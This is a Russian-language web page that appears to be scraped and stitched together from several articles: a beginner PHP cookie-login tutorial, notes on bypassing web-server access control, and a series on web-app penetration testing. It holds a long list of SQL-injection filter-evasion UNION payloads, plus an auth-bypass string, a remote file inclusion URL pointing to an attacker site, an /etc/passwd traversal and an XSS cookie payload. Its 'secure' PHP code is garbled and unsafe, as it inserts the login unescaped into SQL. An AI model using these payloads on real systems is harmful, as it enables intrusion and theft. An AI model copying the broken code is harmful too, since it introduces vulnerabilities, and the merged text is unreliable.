Обойти аутентификацию или авторизацию

Безопасный метод авторизации на php

Примечание: мини-статья написана для новичков

Давайте посмотрим вокруг: форумы, интернет магазины, гостевые книги и т.д. используют регистрацию и последующую авторизацию пользователей. Можно даже сказать, что это почти необходимая функция каждого сайта (только если это не домашняя страничка Васи Пупкина или не визитная карточка, какой-нибудь небольшой компании). Сегодня я хочу поделиться со всеми новичками информацией, о том, как лучше это все реализовать.

1. Модель (клиент)
Регистрация
— логин (a-z0-9)
— пароль
Вход
— логин
— пароль
Cookie
— уникальный идентификатор юзера
— хэш

Модель (сервер)
MySQL
Таблица users
user_id (int(11))
user_login (Varchar(30))
user_password (varchar(32))
user_hash (varchar(32))
user_ip (int(10)) по умолчанию 0

При регистрации в базу данных записываеться логин пользователя и пароль(в двойном md5 шифровании)

При авторизация, сравниваеться логин и пароль, если они верны, то генерируеться случайная строка, которая хешируеться и добавляеться в БД в строку user_hash. Также записываеться IP адрес пользователя(но это у нас будет опциональным, так как кто-то сидит через Proxy, а у кого-то IP динамический… тут уже пользователь сам будет выбирать безопасность или удобство). В куки пользователя мы записываем его уникальный индетификатор и сгенерированный hash.

Почему надо хранить в куках хеш случайно сгенерированной строки, а не хеш пароля?
1. Из-за невнимательности программиста, во всей системе могут быть дырки, воспользовавшийсь этими дырками, злоумышленик может вытащить хеш пароля из БД и подставить его в свои куки, тем самым получить доступ к закрытым данным. В нашем же случае, двойной хеш пароля не чем не сможет помочь хакеру, так как расшифровать он его не сможет(теоретически это возможно, но на это он потратит не один месяц, а может быть и год) а воспользоваться этим хешем ему негде, ведь у нас при авторизации свой уникальный хеш прикрепленный к IP пользователя.

Похожее:  Двухфакторная аутентификация Госуслуги — как активировать в 2022 году

2. Если злоумышленик вытащит трояном у пользователя уникальный хеш, воспользовать им он также не сможет(разве если только, пользователь решил принебречь своей безопастностью и выключил привязку к IP при авторизации).

2. Практика
-- <br>
-- Структура таблицы `users` <br>
-- <br>
CREATE TABLE `users` ( <br>
`user_id` int(11) unsigned NOT NULL auto_increment, <br>
`user_login` varchar(30) NOT NULL, <br>
`user_password` varchar(32) NOT NULL, <br>
`user_hash` varchar(32) NOT NULL, <br>
`user_ip` int(10) unsigned NOT NULL default '0', <br>
PRIMARY KEY (`user_id`) <br>
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ; <br>

register.php

<?

// Страница регситрации нового пользователя

# Соединямся с БД

mysql_connect(“localhost”“myhost”“myhost”);

mysql_select_db(“testtable”);

if(isset($_POST[‘submit’]))

{

    $err = array();

    # проверям логин

    if(!preg_match(“/^[a-zA-Z0-9] $/”,$_POST[‘login’]))

    {

        $err[] = “Логин может состоять только из букв английского алфавита и цифр”;

    }

    if(strlen($_POST[‘login’]) < or strlen($_POST[‘login’]) > 30)

    {

        $err[] = “Логин должен быть не меньше 3-х символов и не больше 30”;

    }

    # проверяем, не сущестует ли пользователя с таким именем

    $query mysql_query(“SELECT COUNT(user_id) FROM users WHERE user_login='”.mysql_real_escape_string($_POST[‘login’]).“‘”);

    if(mysql_result($query0) > 0)

    {

        $err[] = “Пользователь с таким логином уже существует в базе данных”;

    }

    # Если нет ошибок, то добавляем в БД нового пользователя

    if(count($err) == 0)

    {

        
$login $_POST[‘login’];

        # Убераем лишние пробелы и делаем двойное шифрование

        $password md5(md5(trim($_POST[‘password’])));

        mysql_query(“INSERT INTO users SET user_login='”.$login.“‘, user_password='”.$password.“‘”);

        header(“Location: login.php”); exit();

    }

    else

    {

        print “<b>При регистрации произошли следующие ошибки:</b><br>”;

        foreach($err AS $error)

        {

            print $error.“<br>”;

        }

    }

}

?>

<form method=”POST”>

Логин <input name=”login” type=”text”><br>

Пароль <input name=”password” type=”password”><br>

<input name=”submit” type=”submit” value=”Зарегистрироваться”>

</form>

login.php

<?

// Страница авторизации

# Функция для генерации случайной строки

function generateCode($length=6) {

    $chars “abcdefghijklmnopqrstuvwxyzABCDEFGHI JKLMNOPRQSTUVWXYZ0123456789”;

    $code “”;

    $clen strlen($chars) – 1;  
while (strlen($code) < $length) {

            $code .= $chars[mt_rand(0,$clen)];  
}

    return $code;

}

# Соединямся с БД

mysql_connect(“localhost”“myhost”“myhost”);

mysql_select_db(“testtable”);

if(isset($_POST[‘submit’]))

{

    # Вытаскиваем из БД запись, у которой логин равняеться введенному

    $query mysql_query(“SELECT user_id, user_password FROM users WHERE user_login='”.mysql_real_escape_string($_POST[‘login’]).“‘ LIMIT 1”);

    $data mysql_fetch_assoc($query);

    # Соавниваем пароли

    if($data[‘user_password’] === md5(md5($_POST[‘password’])))

    {

        # Генерируем случайное число и шифруем его

        $hash md5(generateCode(10));

        if(!@$_POST[‘not_attach_ip’])

        {

            # Если пользователя выбрал привязку к IP

            # Переводим IP в строку

            $insip “, user_ip=INET_ATON(‘”.$_SERVER[‘REMOTE_ADDR’].“‘)”;

        }

        # Записываем в БД новый хеш авторизации и IP

        mysql_query(“UPDATE users SET user_hash='”.$hash.“‘ “.$insip.” WHERE user_id='”.$data[‘user_id’].“‘”);

        # Ставим куки

        setcookie(“id”$data[‘user_id’], time() 60*60*24*30);

        setcookie(“hash”$hashtime() 60*60*24*30);

        # Переадресовываем браузер на страницу проверки нашего скрипта

        header(“Location: check.php”); exit();

    }

    else

    {

        print “Вы ввели неправильный логин/пароль”;

    }

}

?>

<form method=”POST”>

Логин <input name=”login” type=”text”><br>

Пароль <input name=”password” type=”password”><br>

Не прикреплять к IP(не безопасно) <input type=”checkbox” name=”not_attach_ip”><br>

<input name=”submit” type=”submit” value=”Войти”>

</form>

check.php

<?

// Скрипт проверки

# Соединямся с БД

mysql_connect(“localhost”“myhost”“myhost”);

mysql_select_db(“testtable”);

if (isset($_COOKIE[‘id’]) and isset($_COOKIE[‘hash’]))

{   

    $query mysql_query(“SELECT *,INET_NTOA(user_ip) FROM users WHERE user_id = ‘”.intval($_COOKIE[‘id’]).“‘ LIMIT 1”);

    $userdata mysql_fetch_assoc($query);

    if(($userdata[‘user_hash’] !== $_COOKIE[‘hash’]) or ($userdata[‘user_id’] !== $_COOKIE[‘id’])<br> or (($userdata[‘user_ip’] !== $_SERVER[‘REMOTE_ADDR’])  and ($userdata[‘user_ip’] !== “0”)))

    {

        setcookie(“id”“”time() – 3600*24*30*12“/”);

        setcookie(“hash”“”time() – 3600*24*30*12“/”);

        print “Хм, что-то не получилось”;

    }

    else

    {

        print “Привет, “.$userdata[‘user_login’].“. Всё работает!”;

    }

}

else

{

    print “Включите куки”;

}

?>

Для защиты формы логина от перебора, можно использовать <a href=«captcha.ru target=»_blank”>капчу.

Хочу отметить, что здесь я рассматривал авторизацию основоную на cookies, не стоит в комментариях кричать, что сессии лучше/удобнее и т.д. Спасибо.

Для обхода используются следующие техники:

Инъекция нульбайта: использование до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.

Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем

Защита

Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:

Большинство этих функций направлено на то, чтобы провести преобразование “опасных” символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.

В “надстроенных” средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.

Обойти аутентификацию или авторизацию

Многие веб-серверы имеют встроенные возможности разграничения доступа. Простейший пример – это ограничить доступ админке (к директории admin). А при обращении к ней требовать от пользователя аутентифицироваться, используя Basic-аутентификацию. Большой плюс в том, что разграничение доступа реализуется только за счет возможностей веб-сервера. И не надо париться со скриптами, писать код какой-то…
Кроме этого, опять-таки большинство браузеров позволяют еще внедрять контроль HTTP-методов (они же verb). То есть можно ограничить доступ к какому-то объекту только по методу GET, а POST – разрешить, например, смотреть фильмы онлайн бесплатно. Это добавляет еще больше возможностей с точки зрения конфигурации. Но, как это часто и бывает, порождает целую прослойку конфигурационных уязвимостей. Что интересно, проблемы с настройкой несколько варьируются в зависимости от веб-сервера, и потому несколько классических примеров.
Есть сервер приложений J2EE, а в нем – web.xml со следующим содержанием:
< security – constraint>
< web – resource – collection>
< url – pattern>/admin/< /url – pattern>
< http – method>GET< /http – method>
< http – method>POST< /http – method> < /web – resource – collection>
< auth – constraint>
< role – name>admin< /role – name> < /auth – constraint> < /security – constraint>
Здесь все просто. Мы указываем, что доступ к директории admin разрешен только админам (о чем нам и сообщает указанная роль).
Проблема, я думаю, ясна. Здесь также перечислены методы, которые запрещены (то есть используются blacklist-правила). Заметно, что методов «не хватает». Как минимум, админчик позабыл метод HEAD. Это метод, по сути, эквивалент GET’a. С той лишь разницей, что сервер отвечает на него по-другому. Обрабатывает, но в ответ не посылает тело, только заголовок.
Таким образом, мы имеем возможность обойти проверку веб-сервера и обращаться к сервлетам, используя метод HEAD. Конечно, нам еще требуется, чтобы в этой директории мы могли сделать что-то «страшное», используя только HEAD, но это уже совсем зависит от конкретного приложения. К тому же на нашей стороне еще и тот факт, что в яве ОЧЕНЬ часто сервлеты не различают GET и POST.
Пример номер два. Apeche РНР. В нем валяется файл .htaccess с вроде бы нормальным ограничением на доступ только с определенного IP (предположим, что это админский IP). Остальные доступ получить не могут (см. пункт deny from all).
< Limit GET POST>
order deny,allow
deny from all
allow from 192.168.0.1
Конечно, ты можешь тут сразу отметить, что отсутствует метод HEAD. Но нет, это здесь не сработает, так как Apache по умолчанию блокирует HEAD, если GET запрещен.
Зато другие особенности нам помогут. Во-первых, Apache, когда в конфигурационных файлах используется директива Limit, обрабатывает только известные ему методы запросов (GET, HEAD, POST, TRACE, PUT и так далее, полный список смотри здесь :..- Iy/150z22). Неизвестные методы он переправляет на уровень выше – приложению, обрабатывающему запрашиваемый файл (например, РНР).
Таким образом, ограничения не действуют на эти кастомные методы. Но еще интересней второе. По умолчанию РНР, когда видит неизвестный ему метод, воспринимает и обрабатывает его как GET.
Обобщая сказанное, мы видим, что Apache и РНР создают смесь, которая дает нам простую возможность обойти ограничения эпача. Все, что требуется, так это обращаться напрямую к PHP-скриптам, используя нестандартный HTTP-метод. Webscarab или Burp отлично подойдут для автоматической подмены метода.
Логичный DOS
Маленькая задачка про атаку «из дедушкиного сундука». Она сверхпроста, но прикольна в своей идее – для обучения правильному ходу мышления. Название атаки – Land.
Суть ее в том, чтобы указать один и тот же адрес и порт (IP нашей жертвы) в пакете. Таким образом, когда данный пакет попадет к жертве, она на него ответит, но при этом ответит сама себе. Итог – пакеты, которые так и не могут обработаться сетевым стеком, приводят к DoS’y всего хоста.
Некогда эта проблема была во многих ОС и девайсах, включая Windows ХР и продукты Cisco. Хотя и сейчас, я думаю, можно найти такие косяки в каких-нибудь embedded – устройствах или промышленных контроллерах…

Обход защитных средств

Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.

Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml.

Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.

Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.

Популярные методы обхода защиты от sql-инъекций

Существует два вида инъекций — в строковом или числовом параметре:

Строковый

Example: SELECT * from table where example = 'Example'

Числовой

Example: SELECT * from table where id = 123

Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.

Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:

Примеры url-encoded при проведении union select запросов

   Union(Select)

   union distinct select

   union distinctROW select

   union 53elect

   #?
uion ?#?
select

   #?zen?
union all#zen
#Zen
select

   Union SeLEct

   union select

   union select

   union distinct select

   union distinctROW select

   unoin all selec%7

Примеры сигнатурного обхода

/*!UNiOn*/ /*!SeLEct*/

 Union(Select 1,2,3)-- -

  union distinct select 

  union distinctROW select 

 /**//*!12345UNION SELECT*//**/

 concat(0x223e,@@version)

 concat(0x273e27,version(),0x3c212d2d)

 concat(0x223e3c62723e,version(),0x3c696d67207372633d22)

 concat(0x223e,@@version,0x3c696d67207372633d22)

 concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)

 concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)

 concat(‘’,@@version,’’)

 /**//*!50000UNION SELECT*//**/

 /**/UNION/**//*!50000SELECT*//**/

 /*!50000UniON SeLeCt*/

 union /*!50000Select*/

  #uNiOn #sEleCt

  #1q
uNiOn all#qa
#
sEleCt

 /*!UNiOn*/ /*!SeLEct*/

 /*!union*/ /*!select*/

  un/**/ion se/**/lect

 union select

 /**/union/**/select

 union#foo*/*bar
select#foo


 REVERSE(noinu) REVERSE(tceles)

 /*--*/union/*--*/select/*--*/

 union (/*!/**/ SeleCT */ 1,2,3)

 /*!union*/ /*!select*/

 union /*!select*/

 /**/union/**/select/**/

 /**/uNIon/**/sEleCt/**/

 /**//*!union*//**//*!select*//**/

 /*!uNIOn*/ /*!SelECt*/

  union distinct select 

  union distinctROW select 

  UnIOn
SeleCt


 UNION/*&test=1*/SELECT/*&pwn=2*/

 un? un/**/ion se/**/lect 

  UNunionION SEselectLECT 

  union select 

 %2f%2a*/union%2f%2a /select%2f%2a*/

 /**/union/**/select/**/

 /**/union/**/select/**/

 union#foo*/*bar
select#foo


 /*!UnIoN*/SeLecT 

Примеры смешанного содержимого запросов

unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
 /*!from*/information_schema.columns/*!where*/column_name /*!like*/char(37, 222, 97, 225, 225, 37)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name /*!like*/char(37, 222, 97, 225, 225, 37)?

Проверка надежности web приложений, часть 2

В первой статье мы рассмотрели различные способы
взаимодействия пользователя с Web-приложениями и исследовали разные методы
HTTP ввода, которые обычно используются разработчиками. В этой части мы рассмотрим
различные способы обхода проверки правильности ввода – выполнение кода на
стороне сервера и SQL инъекции. Кроме того, мы исследуем проблемы на стороне
клиента, связанные со слабой фильтрацией пользовательских данных – типа XSS
нападений.

В первой статье мы рассмотрели различные способы
взаимодействия пользователя с Web-приложениями и исследовали разные методы
HTTP ввода, которые обычно используются разработчиками. В этой части мы рассмотрим
различные способы обхода проверки правильности ввода – выполнение кода на
стороне сервера и SQL инъекции. Кроме того, мы исследуем проблемы на стороне
клиента, связанные со слабой фильтрацией пользовательских данных – типа XSS
нападений.

Метод Черного ящика

Метод “черного ящика” – метод тестирования Web-приложений,
исходный код которых недоступен испытателю. В результате испытатель исследует
Web-приложение со стороны пользователя (или со стороны потенциального атакующего).
В этом методе исследователь использует методы снятия отпечатков (как описано
в первой части статьи), чтобы исследовать и идентифицировать все ожидаемые
входные данные и взаимодействие пользователя. Blackbox-испытатель сначала
попытается “прощупать” приложение и изучить его ожидаемое поведение (входные
данные
/неизвестное приложение/выходные данные).

Испытатель пытается выявить исключительные состояния
и аномальное поведение Web-приложения, управляя входными данными – используя
специальные символы, SQL параметры, запросы с чрезмерными параметрами и т.п.
Любая неожиданная реакция Web приложения должна быть исследована. Это могут
быть сообщения об ошибках сценария (возможно с отрывками кода), ошибки сервера
(HTTP 500) или полузагруженные страницы.

 Figure 1 - Blackbox testing GET variables

Рис. 1 Blackbox проверяет GET
переменные

Нужно исследовать любое неправильное поведение
со стороны приложения в ответ на некорректные вводимые данные, так как это
должно подразумевать, что разработчик приложения не в состоянии был проверить
правильность вводимых данных.

SQL инъекция

Очень часто разработчики Web приложений (независимо
от используемой среды), должным образом не проверяют пользовательский ввод
на наличие потенциально опасных символов перед использованием этого ввода
в SQL запросах. В зависимости от используемой базы данных, уязвимость SQL
инъекция и ведет к изменению уровней доступа данных/системы для атакующего.
Возможно не только управление SQL запросами, но и использование UNION в произвольных
данных, использование подзапросов или добавление дополнительных запросов.
В некоторых случаях можно читать и записывать произвольные файлы и выполнять
произвольные команды на основной операционной системе.

Определение уязвимостей SQL инъекции

В большинстве случаев самый эффективный метод
определения уязвимости SQL инъекции вручную – изучение входных данных приложения
и вставка специальных символов. В большинстве популярных Web-серверов страница
ошибки с технической информацией отображается по умолчанию, что позволяет
исследователю узнать как можно больше информации об используемом SQL запросе.

Figure 2 - Potential SQL injection vulnerability

Рис. 2 Потенциальная уязвимость SQL
инъекции

Figure 3 - Another potential SQL injection hole

Рис. 3 Еще одна потенциальная уязвимость
SQL инъекции

Пример: обход авторизации, используя SQL инъекцию

Обход авторизации – один из наиболее часто используемых
примеров SQL инъекции, который демонстрирует высокую опасность этого типа
уязвимостей. Один из самых простых способов авторизовать пользователя на сайте
– использовать форму, которая запрашивает имя пользователя и пароль. Когда
форма передана сценарию входа в систему (login.asp), имя поля имя пользователя
и пароль используются в качестве переменных в SQL запросе.

Исследуем следующий код (используя в качестве
базы данных MS Access DB):

user = Request.form(“user”)

 pass = Request.form(“pass”)

 Set Conn = Server.CreateObject(“ADODB.Connection”)

 Set Rs = Server.CreateObject(“ADODB.Recordset”)

 Conn.Open (dsn)

 SQL = “SELECT C=COUNT(*) FROM users where pass='” & pass &
“‘ and user='” & user & “‘” 

 rs.open (sql,conn) if rs.eof or rs.bof then

 response.write “Database Error”

 else

 if rs(“C”) < 1 then

 response.write “Invalid Credentials”

 else

 response.write “Logged In”

 end if

 end if

В этом сценарии не выполняется проверка переменных
user и pass, которые мы ввели в нашей форме. Разработчик может проверять правильность
данных на стороне клиента (например, с помощью Javascript), однако любой атакующий
может обойти подобные ограничения. Если нападающий представит следующие данные
к нашему сценарию входа в систему:

user: test’ OR ‘1’=’1

pass: test

то в результате SQL запрос будет выглядеть следующим
образом:

SELECT * FROM users where pass=’test’ and user=’test’
OR ‘1’ = ‘1’

Если сказать простым русским языком, то это означает,
что запрос попытается возвратить данные из таблицы, при условии что pass равен
‘test’ и имя пользователя равно ‘test’ или 1 равна 1. Поскольку второе состояние
всегда истинно, первое условие нерелевантно, т.е. запрос возвратит успешные
данные и зарегистрирует атакующего в приложении.

Расширенные сохраненные процедуры SQL сервера

Microsoft SQL сервер поддерживает загрузку расширенных
сохраненных процедур (процедура в виде DLL, которая вызывается приложением
во время выполнения). Расширенные сохраненные процедуры могут использоваться
тем же самым способом, как и сохраненные процедуры базы данных, и обычно используются
для выполнения задач, связанных со взаимодействием SQL сервера с его основной
Win32 средой.

Некоторые из встроенных функций, полезных для
испытателя защиты:

Не защищенный MS-SQL сервер может позволить DBO
пользователю обращаться к этим потенциально опасным сохраненным процедурам
(которые будут выполнены с разрешением SQL сервера – в большинстве случаев
с системными привилегиями).

Существует множество сохраненных/расширенных процедур,
которые не должны быть доступны для любого другого пользователя, кроме владельца
базы данных. Список этих процедур можно посмотреть здесь:

 http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_00_519s.asp

Дополнительную информацию о защите MS-SQL Server
7 и 2000 сервера можно узнать отсюда:

http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4

PHP и  MySQL инъекция

Уязвимое PHP Web-приложение, использующее базу
данных MySQL, может управляться подобными способами, как и ASP приложение,
не смотря на то, что PHP фильтрует множество специальных символов (Magic_Quotes).
MySQL не может использоваться для выполнения произвольных команд оболочки,
подобно xp_cmdshell в MS SQL сервере. Однако в большинстве случаях нападающий
может добавить произвольные условия к запросам или использовать UNION и подзапросы,
чтобы обратится или изменять записи в базе данных.

Дополнительную информацию по проблемам защиты
PHP/MySQL приложений можно узнать здесь http://www.phpadvisory.com

Инъекция кода и содержания

Что такое инъекция кода? Уязвимость инъекции кода
происходит, когда выходные данные или содержание Web-приложения могут контролироваться
таким образом, чтобы вызвать выполнение произвольного кода на сервере. В некоторых
безграмотно написанных Web-приложениях, которые позволяют пользователям изменять
файлы на сервере, иногда возможно внедрить код непосредственно в язык сценария
приложения.

Эта уязвимость зависит от способа, которым приложение
обрабатывает содержание этих управляемых файлов – если это делается до того,
как язык сценария анализируется и выполняется, то измененное пользователем
содержание может также быть проанализировано и выполнено.

Пример: простая доска объявлений в PHP

Следующий кусок PHP кода может использоваться
для отображения отправленного сообщения в доске объявлений. Программа отыскивает
GET переменную messageid, представленную пользователем, и открывает файл $messageid.txt
под/var/www/forum:

<?php

 include(‘/var/www/template/header.inc’);

 if (isset($_GET[‘messageid’]) && file_exists(‘/var/www/forum/’ .
stripslashes($messageid) . ‘.txt’) &&

 is_numeric($messageid)) {

 include(‘/var/www/forum/’ . stripslashes($messageid) . ‘.txt’);

 } else {

 include(‘/var/www/template/error.inc’);

 }

 include(‘/var/www/template/footer.inc’);

?>

Хотя и проверка is_numeric() препятствует пользователю вводить путь к файлу
в переменной messageid, при этом содержание файла сообщений никак не проверятся
(проблему с принятием неконтролируемого пути к файлу мы рассмотрим позже).
Если сообщение содержит PHP код, оно будет включено include() и выполнено
сервером.

Простой метод эксплуатации этой уязвимости состоит
в том, чтобы отправить сообщение к доске объявлений простой кусок кода (в
нашем примере PHP кода), затем просмотреть отправленное сообщение и увидеть,
указывают ли выходные данные на выполнение кода.

Вставки на стороне сервера (ServerSideIncludes (SSI))

SSI – механизм для включения файлов, который использует
специальную форму HTML комментариев, которые предшествуют возможностям включения
современных языков сценария, типа PHP или JSP. Старые CGI программы и классические
ASP сценарии все еще используют SSI, чтобы включать библиотеки кода или элементы
многократного использования, типа заголовков шаблона сайта. SSI интерпретируется
Web-сервером, но не языком сценариев, т.е. если SSI теги введены во время
выполнения сценария, то они будут приняты и обработаны Web-сервером. Методы
эксплуатации этой уязвимости подобны указанным выше методам, используемым
для инъекции кода сценария. SSI является устаревшей технологией, так что мы
не будем акцентироваться на этой проблеме.

Смешанныеинъекции

Существует множество других методов нападений
инъекции в Web-приложениях. Так как Web-приложение часто использует содержание
заголовков, куки и GET/POST переменных в качестве входных данных, то действия,
выполненные этим приложением, которые управляют этими переменными, должны
быть полностью исследованы. Есть множество различных действий, которое может
выполнить Web-приложение, используя эти переменные – открытие файлов, поиск
в базе данных, сопряжение с другими командами системы и взаимодействие с другими
Web-приложениями. Каждое из этих действий требует своего собственного синтаксиса
и требует, чтобы проверялась правильность входных переменных своим уникальным
способом.

Например, когда мы имеем дело с SQL инъекцией,
должны быть удалены специальные SQL символы и словосочетания. Но что если
Web-приложение отрывает последовательный порт и посылает информацию дистанционно
через модем? Пользователь может вставить дополнительные команды модема, чтобы
завесить модем или набрать другие номера. Это один из примеров инъекции. Исследовать
должен понять, что незаметно выполняет приложение – вызываемые функции и выполняемые
команды – могут ли параметры к этим запросам или командам управляться через
заголовки, куки или GET/POST переменные.

Пример: PHPfopen()

В качестве примера рассмотрим очень часто встречающуюся
проблему в функции PHP fopen (). PHP file-open fopen() функция позволяет в
URL задавать имя файла, облегчая тем самым доступ к Web-службам и удаленным
ресурсам. Рассмотрим в качестве примера простую портальную страницу:

URL: http://www.example.com/index.php?file=main

<?php

 include(‘/var/www/template/header.inc’);

 if (isset($_GET[‘file’]) {

 $fp = fopen(“$file” . “.html”,”r”);

 } else {

 $fp = fopen(“main.html”, “r”);

 }

 include(‘/var/www/template/footer.inc’);

?>

Сценарий index.php включает код верхнего и нижнего
колонтитула, и fopen() открывает станицу, определенную в переменной GET. Если
не установлена никакая переменная, то по умолчанию она устанавливается к main.html.
Разработчик вызывает .html расширение, но не определяет префикс каталога.
Из-за возможностей fopen() атакующий может в нашем случае представить:

http://www.example.com/index.php?file=http://www.hackersite.com/main

В результате сценарий откроет страницу main.html
в www.hackersite.com. Очень часто подобным
образом в приложение включается PHP сценарий. В этом случае атакующий может
внедрить произвольный PHP код с удаленного сервера в сценарий index.php, который
будет выполнен на целевом сервере.

Один из типичных примеров подобной уязвимости
можно посмотреть здесь. http://www.securityfocus.com/bid/6463

Большинство квалифицированных
разработчиков Web приложений знают о текущих проблемах SQL инъекции и используют
разнообразные функции для фильтрации ввода. Однако, как только проблема затрагивает
менее распространенные системные команды или протоколы, проверка правильности
ввода часто некорректна или неадекватна, из-за слабого понимания более широких
проблем проверки правильности входящих данных.

Обход каталога и URL

Большинство используемых web приложений для генерации
конечной Web страницы используют различные куски кода, расположенные в нескольких
файлах. Такой подход уязвим, как показано выше, к проблемам инъекции кода.
Также очень часто в переменные, определяющие расположения файла, можно вставить
относительный путь, чтобы включить произвольные файлы на системе.

Рассмотрим предыдущий пример с инъекцией кода,
в котором разработчик не определил суффикс файла с Fopen():

fopen(“$file” , “r”);

В результате чего атакующий может получить доступ
к любым файлам, которые доступны для чтения Web-приложению.

http://www.example.com/index.php?file=../../../../etc/passwd

Запрос возвратит содержание /etc/passwd, если
не выполняется дополнительная проверка на наличие символа пути (/.) в переменной
file.

Эта проблема затрагивает большинство современных
Web-технологий, включая PHP, Java и Microsoft .NET. Если это поддерживается
на целевой среде, уязвимые приложения могут использоваться как открытое реле
или прокси-сервер. Пример:

http://www.example.com/index.php?file=http://www.google.com/

Этот недостаток – одна из самых простых
проблем защиты, которую легко определить и исправить, хотя он часто встречается
на небольших сайтах, код приложения которых выполняет простую сборку кода.
Проблема может быть смягчена двумя способами. Сначала осуществите внутренний
числовой индекс к документам или, как в нашем коде доски объявлений, используйте
файлы в числовой последовательности со статическим префиксом и суффиксом.
Во вторых, удаляйте любые символы пути типа [/], которые могли бы использовать
атакующие, чтобы обратиться к ресурсам вне дерева каталогов приложения.

Межсайтовый скриптинг

Нападения межсайтового скриптинга (как
часть нападений инъекции содержания) отличаются от других методов нападения,
описанных в этой статье, так как этот метод воздействует на клиента Web-приложения
(то есть браузер пользователя). Cross Site Scripting (XSS) происходит везде,
где разработчик неправильно позволяет пользователю управлять выходными HTML
данными приложения – это может быть результатом запроса поиска, или любых
других выходных данных приложения, где входные данные пользователя затем отображаются
пользователю без какой либо фильтрации HTML содержания.

Рассмотрим простой пример XSS в следующем
URL:

http://server.example.com/browse.cfm?categoryID=1&name=Books

В этом примере содержание параметра ‘name’ отображается
в возвращенной странице. Пользователь может представить следующий запрос:

http://server.example.com/browse.cfm?categoryID=1&name=<h1>Books

Если символы <> не удаляются или фильтруются
Web-приложением, тэг <h1> будет отображен в возвращенной Web странице
и интерпретирован браузером как правильный HTML. Более интересный пример:

http://server.example.com/browse.cfm?categoryID=1&name=<script>alert(document.cookie);</script>

В этом случае мы внедряем Javascript код в возвращенную
Web-страницу. Куки пользователя для этой сессии будут отображены во всплывающем
окне, после передачи этого запроса.

Эта уязвимость может неправильно эксплуатироваться
множеством способов, в зависимости от намерений атакующего. Например, небольшой
Javascript код может быть помещен в этот URL. Запрос может тогда быть закодирован
и послан другому пользователю в надежде, что тот откроет полученный URL. После
клика на ссылку, куки пользователя может быть передано внешнему сайту. Если
первоначальный сайт использует для идентификации пользователя только куки,
учетная запись пользователя будет скомпрометирована. Более подробно куки мы
рассмотрим в третьей части этой серии статей.

В большинстве случаев, XSS возможен против
уважаемого или популярного сайта, поскольку пользователь более вероятно кликнет
на длинный закодированный URL, если он доверяет имени домена. Этот вид нападения
не позволяет получить какой-либо доступ к клиенту, кроме затронутого домена
(в параметрах настройки защиты браузера пользователя).

Подробнее об XSS уязвимости и потенциальных опасностях
можно узнать из следующего FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml.

Выводы

В последней статье этого цикла
мы более подробно обсудим концепции сеансов и куки – как могут управляться
и обходиться механизмы аутентификации Web-приложения. Мы также исследуем проблемы
традиционных нападений (типа переполнения и логических ошибок), которые часто
встречаются в самых различных Web-приложениях.

Заключение

Придерживаться правила: all input is evil until proven otherwise.Тщательно проверять входящие данные.Тщательно проверять входящие данные.Тщательно проверять входящие данные.Использовать комплексные средства защиты веб-приложений от хакерских атак.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *